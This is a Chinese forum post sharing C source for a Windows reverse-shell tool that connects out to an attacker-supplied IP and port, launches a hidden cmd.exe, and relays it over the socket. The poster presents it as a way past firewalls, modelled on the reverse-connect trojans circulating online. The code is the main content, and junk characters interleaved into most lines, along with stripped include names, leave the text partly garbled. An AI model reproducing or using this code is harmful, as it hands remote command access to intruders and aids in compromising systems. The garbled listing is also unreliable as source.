社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3393阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "]nbM}>  
gi7As$+E  
/* ============================== n8M/Y}mH   
Rebound port in Windows NT  F%6`D  
By wind,2006/7 imtW[y+4  
===============================*/ j]"Yz t~u  
#include jz$)*Kdi*  
#include -< 7KW0CA  
R?Q@)POW  
#pragma comment(lib,"wsock32.lib") WQ]~TGW  
9k^;]jE  
void OutputShell(); e6f!6a+%  
SOCKET sClient; BV&}(9z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LTY@}o]\U  
>Tld:  
void main(int argc,char **argv) iw(\]tMt  
{ :!1B6Mc  
WSADATA stWsaData; yVxR||e  
int nRet; )(&g\  
SOCKADDR_IN stSaiClient,stSaiServer; X!n-nms  
h@z(yB j:0  
if(argc != 3) 4\?I4|{pC  
{ ujcNSX*  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y 1 i!  
return; i)0*J?l=  
} O4&/g-  
 IjDG  
WSAStartup(MAKEWORD(2,2),&stWsaData); m4n J9<-  
xnu|?;.}!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J680|\ER  
cmu5KeH  
stSaiClient.sin_family = AF_INET; ~ S R:,R  
stSaiClient.sin_port = htons(0); XQk9 U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0X)'8N  
sf?D4UdIH  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;1cX|N=  
{ `ge{KB;*n#  
printf("Bind Socket Failed!\n"); r! 5C3  
return; / vge@bsE  
} 79a{Zwdd9j  
odquAqn  
stSaiServer.sin_family = AF_INET; 0}Xkj)R,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); COj50t/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5jg^12EP  
@)m+O#a  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U$pHfNTH  
{ awXL}m[_!  
printf("Connect Error!"); {P(Z{9u%  
return; -?!Z/#i4  
} /+J?Ep(_  
OutputShell(); F#iLMO&Q  
} b9OT~i=S|  
@yB!?x  
void OutputShell() g B<p  
{ tGD$cBE  
char szBuff[1024]; ;'pEzz?k"  
SECURITY_ATTRIBUTES stSecurityAttributes; g?i_10Xlp  
OSVERSIONINFO stOsversionInfo; `a2Oj@jP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C>@~W(IE  
STARTUPINFO stStartupInfo; g=[ F W@z  
char *szShell; qrNW\ME  
PROCESS_INFORMATION stProcessInformation; Eln"RKCt}9  
unsigned long lBytesRead; {:Z#8dGe  
$RKd@5XP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &tQ,2RT  
'mug,jM  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m{x!uq  
stSecurityAttributes.lpSecurityDescriptor = 0; uwWfL32  
stSecurityAttributes.bInheritHandle = TRUE; mb?DnP,z  
i2$U##-ro]  
d Z"bc]z{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )u ]<8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Tc\^=e^N?  
,q/K&'0`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G+'MTC_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $K,rVTU  
stStartupInfo.wShowWindow = SW_HIDE; $&k2m^R<  
stStartupInfo.hStdInput = hReadPipe; E[htNin.B~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4^alAq^  
PKfxL}:"8  
GetVersionEx(&stOsversionInfo); =o_d2 Ak  
^=D77 jS  
switch(stOsversionInfo.dwPlatformId) Sd^e!? bp  
{ PQvq$|q  
case 1: 3VA8K@QiRm  
szShell = "command.com"; [gzw<b:`  
break; ;myu8B7&  
default: \9i.dF  
szShell = "cmd.exe"; klUxt?-  
break; KL.{)bi  
} 0tn5>Dsk  
+tkd($//  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m3 (fr  
.K}u`v T  
send(sClient,szMsg,77,0); 2v`VtV|B  
while(1) VuJth  
{  mbd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ps<)?q6(  
if(lBytesRead) {)ZbOq2  
{ \ fU{$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x7Ly,  
send(sClient,szBuff,lBytesRead,0); zmf5!77  
} Lvv`_  
else w*#k&N[X  
{ x;Dr40wD@y  
lBytesRead=recv(sClient,szBuff,1024,0); u/ y`M]17  
if(lBytesRead<=0) break; #&r^~>,#L-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AWQwpaj-  
} +VDl"Hx  
} tI{ n!  
-1S+fUkiK/  
return; wXXv0OzK  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五